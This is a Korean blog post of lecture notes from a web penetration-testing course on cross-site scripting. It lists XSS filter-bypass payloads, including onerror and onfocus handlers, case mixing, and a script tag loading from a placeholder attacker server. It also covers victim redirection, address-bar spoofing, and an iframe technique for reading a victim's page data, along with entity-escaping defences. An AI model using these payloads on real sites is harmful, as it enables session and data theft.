Part.1
1. Stored XSS : 게시판 같은 기능을 통해서 서버에 스크립트를 저장하는 공격, 다른 유저에게 피해를 주는 방식
2. Reflected XSS : 검색 기능들이 서버에서 반사되는 특징을 활용함. 그래서 GET 방식만 적용 가능하기 때문에 링크를 외부에 뿌리는 방식이 적용됨.
3. DOM Based XSS : Reflected랑 성격이 비슷하지만 다름. #뒤에는 서버에 전달되는 방식이 아님. document.cookie를 받아와야함.
XSS 대응 방안
필터링 -> 불이익을 받을 수 있는 대답. 사용자의 입력을 제한한다.
1. 블랙 리스트 기반 필터링 : 특정 단어를 못들어오게 하는 것. -> 우회 가능성이 존재함.
2. 화이트 리스트 기반 필터링 : 특정 단어만 들어오게 하는 것.
블랙리스트 우회방법
1. <script src="http://공격자서버.js"> </script>로 길이제한을 뚫을 수도 있음
2. 대소문자 활용해서 할 수도 있음. <ScRipT></ScrIpt>
3. <script> 가 <>로 전달되버리면 <scrscriptipt>를 할 수도 있다.
4. <img> 태그로 할수도 있음. <img src=x onerror="alert(1)"> 경로에서 못찾으니까 onerror가 실행됨
5. 마찬가지로 Event Handler를 사용하면 다 활용가능함(onload,onclick,onmouseover, 등등)
6. <a href="javascript:alert(1)">TEST</a> 이런식으로 앵커태그를 통해서 할 수도 있음
7. 이미 <script>안에 있는 함수라면 바로 문법상 에러가 안 실행되게 값을 넣을 수도 있음
8. input 태그에서도 활용 가능함 <input type ="text" autofocus onfocus="alert(1)"> 로 할수도 있음
Part.2
근본적인 XSS 대응 방안 : HTML 특수문자를 HTML Entity로 치환하는 방법
<>'"을 자동으로 수정해주는 방식.
HTML Editor기능을 쓰는 경우에는 불가능하다. 앵간하면 삭제하는 편이 나음
꼭 써야하는 상황이라면
1. 파라미터에서 HTML 특수문자를 전부 HTML Entity로 치환함
2. 허용해줄 태그들을 식별하고 그 태그들을 다시 살린다.(화이트 리스트 기반)
3. 살려준 tag내에 악의적인 event Handler들을 블랙리스트 기반으로 필터링을 해준다.
Client Script - Page Redirect
1. location.href="https://naver.com"; 혹은 location.replace('https://naver.com');를 써주면 주소를 바꾸게 된다. 강제로 공격자 서버 주소로 이동하게 함.
2. 주소창 변조 : history.pushState(null,null,'test'); 페이지 링크가 이상할경우 못알아차리도록 변조시키는 것.
Part.3
DOM 객체 접근
1. javascript에서 페이지 소스코드에 접근하려면 document로 접근해야한다.
2. document.getElement~ 함수 활용. id 속성은 유일한 값. class는 그룹을 묶는 것. getElementById를 쓰면 유일한 값을 뽑아낼 수 있음. document.getElementsByClass도 활용 가능. 대신 이건 여러개를 가져올 수 있음.
3. document.getElementById('userName').id / document.getElementById('userName').className / document.getElementById('userName').innerHTML 등을 통해서 해당 태그의 값들을 가져올 수 있음.
Part.4
1. <script>로 하면 순서에 따라서 페이지가 랜더링 이전에 실행되서 undefined가 될 수도 있다.
2. 그럴 때는 window.addEventListener('DOMContentLoaded',function(){//여기다가 실행할 자바스크립트 삽입//});을 활용해서 적용해야함
3. 게시판에서 XSS가 나왔는데 마이페이지에서의 정보를 가져오게 하고 싶어. 이럴 때는 웹페이지 안에 다른 웹페이지를 넣는 iframe을 활용할 수 있다.
4. <iframe src="http://~~~/mypage.php" id ="targetFrame"></iframe>을 넣고 <script>안에다가 var targetTag=document.getElementById('targetFrame');을 쓰고 var DOMData=targetTag.contentDocument;로 가져올 수 있음. DOMData.getElementById로 중복해서 가져올 수 있음
과제
1. 오늘 수업 내용 정리
2. Basic Script Prac 문제 풀이!
3. Steal Info, Steal Info2
4. 문제풀이 블로그 정리
5. 웹 개발
'노말틱 모의해킹' 카테고리의 다른 글
[13주차 강의] CORS와 CSRF (3) | 2025.07.09 |
---|---|
[12주차 강의] CSRF (0) | 2025.07.02 |
[11주차 강의] XSS로 공격하는 방법 (0) | 2025.06.17 |
[10주차 강의] XSS 개념 (1) | 2025.06.11 |
[8주차 코칭] 이제 진짜 본게임이다. (1) | 2025.05.28 |